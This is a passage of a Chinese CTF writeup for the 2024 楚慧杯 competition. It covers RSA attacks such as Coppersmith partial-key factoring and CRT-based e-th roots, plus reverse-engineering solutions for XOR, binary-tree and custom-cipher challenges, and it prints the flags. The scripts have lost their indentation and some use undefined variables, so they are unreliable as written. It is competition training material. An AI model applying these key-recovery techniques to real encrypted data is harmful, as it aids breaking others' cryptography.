c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779
pbits = 512

# leak_p = 57303545022436031674172379509633863887077
# print(hex(leak_p<<8))
# leak_p = 0xa8666553ec59acad3ed8208f060abba8e500

for i in range(1, 2**24):
leak_p = 0xfef17ad62b2573f0f1fd707b2f273922860034731234b9ba82fc303b7c4faad4
leak_p = leak_p + int(hex(i),16)
# print(leak_p)

kbits = pbits - leak_p.nbits() # 设置界的 bit上限
#print(kbits)

p_high = leak_p << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = p_high + x
roots = f.small_roots(X=2^kbits, beta=0.4) #计算模多项式的小整数根

if(roots):
print('roots =',roots)
p = p_high + int(roots[0])
q = n//int(p)
assert p*q == n
print("p=",p)
print("q=",q)
phi = (p-1)*(q-1)
d = invert(e,phi)
flag = int(pow(c,d,n))
print(long_to_bytes(flag))

5-5

先联立n和hint解p,q,再计算发现是ct = pow(m,672,n),e实际为672,与p-1,q-1均不互素,采用中国剩余定理求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 p =  5437194409937079365796361293969364604939627149039784073055530959237847229851327425147129937145179737622218931435682823431052499320577471182347267982471329
q = 6702589700303909273170909376593932709002828248723758321037524045275822447495902310058252026284620026874261411365267847853883194081655189179013810230756257
e = 672
c = 24482128269957355675512496312977308128712253968496848873519792376434347925427116612997489113223781321628516365811583310346553402215907938918891908853234881284620764982626375301219763593402089309909155204943747718536894186749932544428588048770663458669109073657836937287831725958017345747881678942488157429000

R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
res1 = f.roots()
print(res1)
#类似方法求res2

import libnum

#循环使用中国剩余定理

res1 =..
res2 =..
for i in res1:
for j in res2:
m = libnum.solve_crt([int(i[0]),int(j[0])],[p,q])
flag = long_to_bytes(m)
if b'CTF' in flag:

print(flag)
if b'flag' in flag:
print(flag)

img

FastP0w3r_4nd_AMM_0f_R5A

Reverse

6-1

程序逻辑

img

main_tmp给了初始值0xDEAD,v12(enc)开起动调发现是定值,直接dump出来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import numpy as np

index = 0xDEAD
tmp = []

enc=[0x00000000000022B9, 0x000000000000C9F8, 0x0000000000008C89, 0x000000000000FF18, 0x0000000000001439, 0x0000000000004E0A, 0x0000000000002A8B, 0x00000000000007CB, 0x000000000000BDEB, 0x000000000000FAAB, 0x0000000000003FFB, 0x000000000000784B, 0x0000000000009F1E, 0x0000000000004FEB, 0x0000000000004D0B, 0x000000000000D08E, 0x00000000000038BB, 0x000000000000CBAE, 0x000000000000D2CE, 0x000000000000913E, 0x0000000000000A6B, 0x000000000000F03B, 0x000000000000507B, 0x000000000000398B, 0x00000000000093DE, 0x0000000000003CCE, 0x000000000000459E, 0x0000000000004ABE, 0x000000000000553E, 0x000000000000316E, 0x00000000000033BE, 0x00000000000042FE, 0x000000000000CECE, 0x0000000000004DDE, 0x000000000000982B, 0x000000000000A31B, 0x000000000000802E, 0x00000000000012EE, 0x000000000000F67A, 0x000000000000EB79]

for i in range(40):
index = 0x123 * index + 0x456
index = index % 65536
tmp.append(index)
# print(tmp)

flag_1=[]

for i in range(40):
for j in range(0,0xffff):
if(j^tmp[i] == enc[i]):
print(j,end=", ")
flag_1.append(j)
break
print(flag_1)

flag=""
for i in range(39,1,-1):
flag_1[i] = (flag_1[i] >> 4) | ((flag_1[i-1] << 4) & 0xff)
flag = chr(flag_1[i]) + flag
print('DA'+flag)

6-2

这段去花

img

程序逻辑

img

中序遍历

img

后续遍历

img

还原二叉树,层次遍历得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
class TreeNode:
def __init__(self, value):
self.value = value
self.left = None
self.right = None

def build_tree(inorder, postorder):
if not inorder or not postorder:
return None

root_value = postorder.pop()
root = TreeNode(root_value)

inorder_index = inorder.index(root_value)

root.right = build_tree(inorder[inorder_index + 1:], postorder)
root.left = build_tree(inorder[:inorder_index], postorder)

return root

def preorder_traversal(root):
if not root:
return []

result = [root.value]
result += preorder_traversal(root.left)
result += preorder_traversal(root.right)

return result

def inorder_traversal(root):
if not root:
return []

result = inorder_traversal(root.left)
result.append(root.value)
result += inorder_traversal(root.right)

return result

def postorder_traversal(root):
if not root:
return []

result = postorder_traversal(root.left)
result += postorder_traversal(root.right)
result.append(root.value)

return result

def preorder_traversal(root):
if not root:
return []

result = [root.value]
result += preorder_traversal(root.left)
result += preorder_traversal(root.right)

return result

def level_order_traversal(root):
if not root:
return []

result = []
queue = [root]

while queue:
level_size = len(queue)
level_nodes = []

for _ in range(level_size):
node = queue.pop(0)
level_nodes.append(node.value)

if node.left:
queue.append(node.left)
if node.right:
queue.append(node.right)

result.append(''.join(level_nodes))

return result

# 中序遍历和后序遍历的结果
inorder = list("ja7Cws_A3daTd4qDo8}F_Sd{a")
postorder = list("j7aw_sC3addq4TAo}8_Fda{SD")

# 构建二叉树
root = build_tree(inorder, postorder)

# 获取层次遍历的结果
level_order_result = level_order_traversal(root)

for level in level_order_result:
print(level,end="")
#DASCTF{asd48_daj7w_3adqo}

6-3

这一段反复动调

img

  • 这个脚本里面的delta和data是从程序里面提取出来的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
delta = [0xBBDBD183,0x5340F2E,0xBEEFDEAD]
data = [858337624, 1618346513, 1108893510, 1668575017]
v1 = data[3]
v2 = data[2]
for i in range(19,-1,-1):
key = delta[i%3]
if(key == 0xBBDBD183):
tmp = v1
v1 = v1 ^ key
v1 = ((v1 & 0xff) << 16) | ((v1 & 0xff00)) | ((v1 & 0xff0000) << 8) | ((v1 & 0xff000000) >> 24)
v1 = v1 ^ key
v1 = v1 ^ v2
v2 = tmp
elif(key == 0x5340F2E):
tmp = v1
v1 = v2 ^ v1
v2 = tmp
else:
tmp = v1
v1 = v1 ^ key
v1 = ((v1 & 0xff) << 16) | ((v1 & 0xff00) >> 8) | ((v1 & 0xff0000) >> 8) | ((v1 & 0xff000000))
v1 = v1 ^ key
v1 = v1 ^ v2
v2 = tmp
print(f"{v2:x}",end=' ')
print(f"{v1:x}",end=' ')
#216c306f6f435f30
#逆序转换为字符
z1g_I3_S0_Coo0l!

2024 楚慧杯 Writeup
https://xu17.top/2024/12/20/2024 楚慧杯 wp/
作者
XU17
发布于
2024年12月20日
许可协议
XU17